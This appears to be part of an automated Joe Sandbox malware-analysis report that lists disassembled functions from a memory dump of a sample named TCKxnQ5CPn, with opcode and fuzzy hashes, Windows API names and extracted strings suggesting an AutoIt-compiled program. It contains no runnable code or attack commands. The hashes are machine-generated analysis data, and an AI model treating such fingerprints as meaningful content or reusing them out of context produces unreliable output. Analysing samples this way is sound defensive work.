                                                            • Opcode Fuzzy Hash: 1b448239c859d57582f3fa817e0dbfe1db0dd889c5120d72b994c6c156eeceba
                                                            • Instruction Fuzzy Hash: 57714B95E0C38246FB788A24D05037D67A1EF43B44F1816B5DEC8D76DEEE2DE8468B05
                                                            Function 00007FF69DB458D0 Relevance: .7, Instructions: 692COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
                                                            • Instruction ID: cb8918f0268e7db428382cb552e18136baba5dc9d53165934dd94b15a58392ae
                                                            • Opcode Fuzzy Hash: d8796869ba0ff200981f3c8b4e50b33a6e54c2853832a264e2eb0800a33b39bf
                                                            • Instruction Fuzzy Hash: D25294B2E0DA8282EA34DB15D09867D23A5EF27BC8F1545B5DA9D876C9EF3CE440D340
                                                            Function 00007FF69DB3B390 Relevance: .7, Instructions: 682COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Concurrency::cancel_current_task
                                                            • String ID:
                                                            • API String ID: 118556049-0
                                                            • Opcode ID: 37be43e2159a7a5f12ed6e638a5f9fbb193c8301d54815e0f563e4172ea09bfa
                                                            • Instruction ID: 709554b44cf71c18a66ddc4d5d3e21f22d6032b79c962951ce1d20b8318c3a78
                                                            • Opcode Fuzzy Hash: 37be43e2159a7a5f12ed6e638a5f9fbb193c8301d54815e0f563e4172ea09bfa
                                                            • Instruction Fuzzy Hash: 6952C2B2B096428AEB20CF65D0542BC73A1FB46B98F504275EE9D97BDDEE38E405D340
                                                            Function 00007FF69DB3B9F0 Relevance: .6, Instructions: 577COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: a2428b1a41b9dab0837923aee02f6dd20d06634fc1108aa9b555873352bd9b52
                                                            • Instruction ID: 046bdb245db897f8367ff3e599eca91d4d02cb3c5768ac70e08cb86e68aede50
                                                            • Opcode Fuzzy Hash: a2428b1a41b9dab0837923aee02f6dd20d06634fc1108aa9b555873352bd9b52
                                                            • Instruction Fuzzy Hash: AE42BFB2A0874296EB20DF29D4802AD77A0FB86798F504175EF9D87B9DEF38E441C704
                                                            Function 00007FF69DB630DC Relevance: .5, Instructions: 535COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                            • Instruction ID: 3807ec934f2e0729287b335744ae965275a0660c693ee6889956daec5b16b210
                                                            • Opcode Fuzzy Hash: 44e0bcb64cdb213a1ae13f0197e832722533c3c8cf9ea28823a7f9588fce5fb2
                                                            • Instruction Fuzzy Hash: 3D4252A1929F4A88E2738B75A4715357364FF633D0F4483B3E88EE7658FF2CA4424694
                                                            Function 00007FF69DB76DE4 Relevance: .2, Instructions: 194COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: _invalid_parameter_noinfo
                                                            • String ID:
                                                            • API String ID: 3215553584-0
                                                            • Opcode ID: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
                                                            • Instruction ID: 644e064288caa6dd56b7bfc6427574c0de0fe6d1e1fb4daed05f89067d5a97be
                                                            • Opcode Fuzzy Hash: 8d8f3e37eadd19746a70c291c5831625e20ba123285d38ae931568fef80f1606
                                                            • Instruction Fuzzy Hash: 4371F9A6E0C24267F7B48A29945067C62D1EF423B0F2406B9D6DDCBED9FE7DE8418600
                                                            Function 00007FF69DBB1A18 Relevance: .1, Instructions: 66COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
                                                            • Instruction ID: 04cdb2ca1d4364358c005b53f76fd09841e8825abda9ac88192bb45fec4f2882
                                                            • Opcode Fuzzy Hash: c2308bd2b59363eb380d9f2aadf6ae7fcc9e74111fd97fe2ff68e231cb56cb52
                                                            • Instruction Fuzzy Hash: 1321A173A2454186E718CF75D8926B933A9E365708F08C17ED62BC72C8EE3CE906CB40
                                                            Function 00007FF69DB6FD20 Relevance: .0, Instructions: 32COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
                                                            • Instruction ID: 03d64859873da1c5047612c11045d5f5573d770299f2444e8aec12a0d08678d9
                                                            • Opcode Fuzzy Hash: f4e4605b7b007d95894f61c83fec82003118576a017aad510c5c4214a882ee24
                                                            • Instruction Fuzzy Hash: 42F04472B186658ADBB4CF2DB45262977A4E70C380B908079D6C9C3F44DE3C90619F04
                                                            Function 00007FF69DB559C8 Relevance: .0, Instructions: 2COMMON
                                                            Download Yara Rule
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID:
                                                            • String ID:
                                                            • API String ID:
                                                            • Opcode ID: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
                                                            • Instruction ID: 8b6ba6eb3fab707b342784cafed94c7c6baf24d5c88575bb5bb9cc4967da6e62
                                                            • Opcode Fuzzy Hash: 06a18b8ad93dc8222913c3b18848eb7fe0d0fd2f3d8a242d5e2f0303cc3a2d96
                                                            • Instruction Fuzzy Hash: 07A002E590EC02D8F6248F00E8500B433B0EB73311B5104F2D08DC3469BF3CA480C350
                                                            Function 00007FF69DBDE95C Relevance: 49.7, APIs: 33, Instructions: 231windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                            • String ID:
                                                            • API String ID: 3521893082-0
                                                            • Opcode ID: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
                                                            • Instruction ID: 8a902b2c0b2d76a735da889ea8e3a698d944b13dff495ccdd378604b22ae4a9a
                                                            • Opcode Fuzzy Hash: ef7366886db55824d460b1c50baab5321c9adbfaa8eab0a2c69b3322450da6b5
                                                            • Instruction Fuzzy Hash: D1A1E6F6F04A0286EB248B61D84457C27A1FB5AB64F0153B5DEAE93BD8FF3C94448390
                                                            Function 00007FF69DBB4F30 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 247COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: ErrorMode$DriveType
                                                            • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                            • API String ID: 2907320926-4222207086
                                                            • Opcode ID: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
                                                            • Instruction ID: 9a96d0f5eee13a1236ff2b3782ab32b009b688fb08dc1e4678f7133322bd2e2a
                                                            • Opcode Fuzzy Hash: 94db47e06bd0190674c94e1b1137c27149ea748c604d997c0ecd6c7b010eced7
                                                            • Instruction Fuzzy Hash: 27B150A1B0DA02D1EE749B29D8801BC23A5FB52784BA451B5D98EC76DDFF2CE9468301
                                                            Function 00007FF69DBDECB4 Relevance: 39.2, APIs: 26, Instructions: 179windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                            • String ID:
                                                            • API String ID: 1996641542-0
                                                            • Opcode ID: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
                                                            • Instruction ID: 5320e1650b911e1674999b14bbece4a7aeed1b00d143e8bd65231597c46ff79c
                                                            • Opcode Fuzzy Hash: be73899effbf77ebd9d54faa89356d5f551f326618c8bd974714f6933a768820
                                                            • Instruction Fuzzy Hash: 5C71A4B6A08A4186E734DB15E84467E73A1FB9ABA0F0042B5DD9E83BD8EF3CD444C750
                                                            Function 00007FF69DBD6EA0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 268windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
                                                            • String ID: tooltips_class32
                                                            • API String ID: 698492251-1918224756
                                                            • Opcode ID: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
                                                            • Instruction ID: 154513249d639f42c971a672a0ad34d009b080965604d257c76f3c59e9e965a0
                                                            • Opcode Fuzzy Hash: 134fb4e1424d2fb4e321c1dd5c8cc0f154a29b10d7bebbc83ea585521f9a7016
                                                            • Instruction Fuzzy Hash: C8C161B7A08B458AE724CF65E4442AD77A0FB8AB84F504076DB9E87B58EF3CE441C740
                                                            Function 00007FF69DBA2C10 Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 175windowtimeCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
                                                            • String ID: @
                                                            • API String ID: 3869813825-2766056989
                                                            • Opcode ID: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
                                                            • Instruction ID: 69776ec046cd3ec6414f8a155d46e7bd56e10504d824941833f6e3606d82bf2f
                                                            • Opcode Fuzzy Hash: b82c187733dd5023c28d903207b62df0d5996a373ba8083c7f15af3311f57f4a
                                                            • Instruction Fuzzy Hash: A081AAB2A04A4286E760CF76D95067D33A0FB85B98F4095B1CE8EA779CEF38D845C750
                                                            Function 00007FF69DB32620 Relevance: 28.7, APIs: 19, Instructions: 201COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Color$LongWindow$ModeObjectStockText
                                                            • String ID:
                                                            • API String ID: 554392163-0
                                                            • Opcode ID: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                            • Instruction ID: 97c5e98e95768ac74d88566fe4190db50c14746f2db8ca79e31d880cef36994b
                                                            • Opcode Fuzzy Hash: 75ec6bcd28a8efb3125b08e197a7caecd4c99aa61c3caa47667afd5c8d51fa7a
                                                            • Instruction Fuzzy Hash: 108107A1D0955783EA708B29944837D6392FF87BA4F5502B1CDDD836ECFE3CA8469740
                                                            Function 00007FF69DBD6608 Relevance: 25.0, APIs: 3, Strings: 11, Instructions: 475windowCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: BuffCharMessageSendUpper
                                                            • String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
                                                            • API String ID: 3974292440-4258414348
                                                            • Opcode ID: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                            • Instruction ID: 93833b3b9583e8186c3a24911c11e771f826ce30ae6557765ecb7c772c2a7cc8
                                                            • Opcode Fuzzy Hash: 3f2e69d4aa51dbb406168e8eec17f7dda2e2331c7f002e480690ed7ff1453b94
                                                            • Instruction Fuzzy Hash: 8A12CFD2B1965B82EE709B69C8011BD67A0EF56FD4B5846B2DE8DC7389FE3DE4018310
                                                            Function 00007FF69DBE1254 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 162windowfileCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreenwcscat
                                                            • String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
                                                            • API String ID: 2091158083-3440237614
                                                            • Opcode ID: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                            • Instruction ID: 99a22d9ecdd1c4862471785465e5062431f998c8086c93330eba69c92816fbcc
                                                            • Opcode Fuzzy Hash: 7c2f099bf0a5769a0aea507f3e3fb0e9d810cef93c6a9b2b7ff31669fef11a09
                                                            • Instruction Fuzzy Hash: 4C7192B2618A8292E720DF15E8547FD7360FB85794F8010B2EA8E87A9DEF7CD146C740
                                                            Function 00007FF69DBB3FD0 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 197COMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: SendString$BuffCharDriveLowerType
                                                            • String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
                                                            • API String ID: 1600147383-4113822522
                                                            • Opcode ID: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
                                                            • Instruction ID: 007548723c6e04539ff27628bc8b2afb2b52b404802798837a21e8e6273003ac
                                                            • Opcode Fuzzy Hash: c97716080e4f543c9a20482f6ee2b28a1c64bce64f7816063184408ee6a3b085
                                                            • Instruction Fuzzy Hash: F081BFA2B14A12C5EB20DB65D8902BC63B1FB55B88B944171CE8DC7B99FF3CE942C340
                                                            Function 00007FF69DBE0118 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 175windowlibraryCOMMON
                                                            Download Yara Rule
                                                            APIs
                                                            Strings
                                                            Memory Dump Source
                                                            • Source File: 00000000.00000002.1406005511.00007FF69DB31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF69DB30000, based on PE: true
                                                            • Associated: 00000000.00000002.1405985538.00007FF69DB30000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DBE5000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406214485.00007FF69DC08000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406336112.00007FF69DC1A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                            • Associated: 00000000.00000002.1406357142.00007FF69DC24000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                            Joe Sandbox IDA Plugin
                                                            • Snapshot File: hcaresult_0_2_7ff69db30000_TCKxnQ5CPn.jbxd
                                                            Similarity
                                                            • API ID: Load$Image$IconLibraryMessageSend_invalid_parameter_noinfo$DestroyExtractFree
                                                            • String ID: .dll$.exe$.icl
                                                            • API String ID: 258715311-1154884017
